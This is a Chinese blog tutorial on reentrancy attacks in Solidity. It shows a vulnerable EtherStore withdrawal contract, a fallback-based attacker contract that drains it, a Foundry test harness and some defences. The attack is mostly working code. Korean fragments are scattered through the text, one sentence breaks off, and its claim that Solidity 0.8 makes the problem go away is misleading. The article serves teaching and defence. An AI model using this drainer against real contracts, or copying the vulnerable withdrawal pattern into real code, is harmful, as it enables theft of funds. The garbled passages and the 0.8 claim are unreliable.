重入攻击代码实现

4710 단어
昨天写一篇,蜜罐的分析,我发现感兴趣的朋友还挺多,我也就多了解了一下这方面的知识,我发现重入攻击大家都是翻译的一个老外的文竁都是提供的图片,我觉得有必要自己写代码来一遍.
重入就是利用 solidity 虚拟机的机制来进行攻击.

什么是重入攻击?



假设有两个合约A和合约B,合约A调用合约B,在这种攻击中,当第一个调用仍在执行时,合约B调用合约A,这在某种程度上导致个一个

每当 我们将以太坊发送到智能合约地址时,我们都会调用 我们所说的fallback函数.

폴백 函数的场景



1、调用函数找不到时

当调用的函数找不到时,就会调用默认的fallback 函数.

2、send() 函数发送ether

当我们使用address.send(ether to send)向某个合约直接转帐时,由于这个行为没有发送任何数据,所以接收合约总是会调用 fallback函数.

我们这个例子就是用 fallback 函数来连续调用,最终把合约里面的钱都转出来.

被攻击合约如下:

contract EtherStore {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds(uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        (bool send, ) = msg.sender.call{value: _weiToWithdraw}("");
        require(send, "send failed");
        balances[msg.sender] -= _weiToWithdraw;
    }
}


攻击环境构建



用我前几天发的Foundry来做这次演示,前面的入门在这里
使用Foundry,感受快,rust对写合约的支持 | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
构建一个测试用例:
src/test 실행 중
EtherStore.t.sol
1,부합합

function setUp() public { //test类的 setup
        store = new EtherStore();
        attach = new EtherStoreAttach(address(store));
        cheats.deal(address(store), 5 ether);  //给合约5个eth
        cheats.deal(address(attach), 2 ether);  //给攻击者 2个eth
    }


사기꾼은 Foundry의 모의 게임, 가능한 게임, 상단의 게임을 합친 게임입니다.
我这里转了5个eth
参考里面有cheats的文档链接

2,构建攻击合约,也就是fallback函数

contract EtherStoreAttach is DSTest { //攻击合约
    EtherStore store;

    fallback() external payable {
        emit log_named_uint("fallback", address(store).balance);
        if (address(store).balance > 1 ether) {
            store.withdrawFunds(1 ether);
        }
    }

    constructor(address _store) public {
        store = EtherStore(_store);
    }

    function Attach() public {   //发起攻击函数
        store.deposit{value: 1 ether}();  //保证withdrawFunds初步检查不出问题
        emit log_named_uint("testAttach", address(store).balance);
        store.withdrawFunds(1 ether);
        emit log_named_uint("endAttach", address(store).balance);
    }
}


3、测试合约

function testAttach() public {
        emit log_named_uint("test start store", address(store).balance);
        try attach.Attach() {
            emit log_named_uint("test ok store", address(store).balance);
        } catch {
            emit log_string("catch");
        }
        emit log_named_uint("test end store", address(store).balance);
    }





攻击开始,合约里有6个eth,最后剩下一个.

如何防范



网上别人都讲过多次了
1,交换的顺序,这个看起来最简单

balances[msg.sender] -= _weiToWithdraw;
(bool send, ) = msg.sender.call{value: _weiToWithdraw}("");


2,给合约带锁
加合约成员,_lock变量,
加 수식어 守卫,给withdrawFunds函数加行的 수식어 守卫
操作函数时加lock,其他再进入进不去就避免了重入

3,此代码仅在0.8版本一下的solidity能运行,所以问题没有了,看这里
Exploring the new Solidity 0.8 Release (soliditydeveloper.com)
我这个代码要运行,需要这样pragma solidity ^0.7.0;

参考



重入| 破解 Solidity | 登链社区 | 深入浅出区块链技术 (learnblockchain.cn)
Solidity Fallback函数详解 - 简书 (jianshu.com)
Reentrancy | Hack Solidity #1. The motivation behind this article is… | by Zuhaib Mohammed | Jan, 2022 | CoinsBench
Cheatcodes Reference - The Foundry Book (onbjerg.github.io)

좋은 웹페이지 즐겨찾기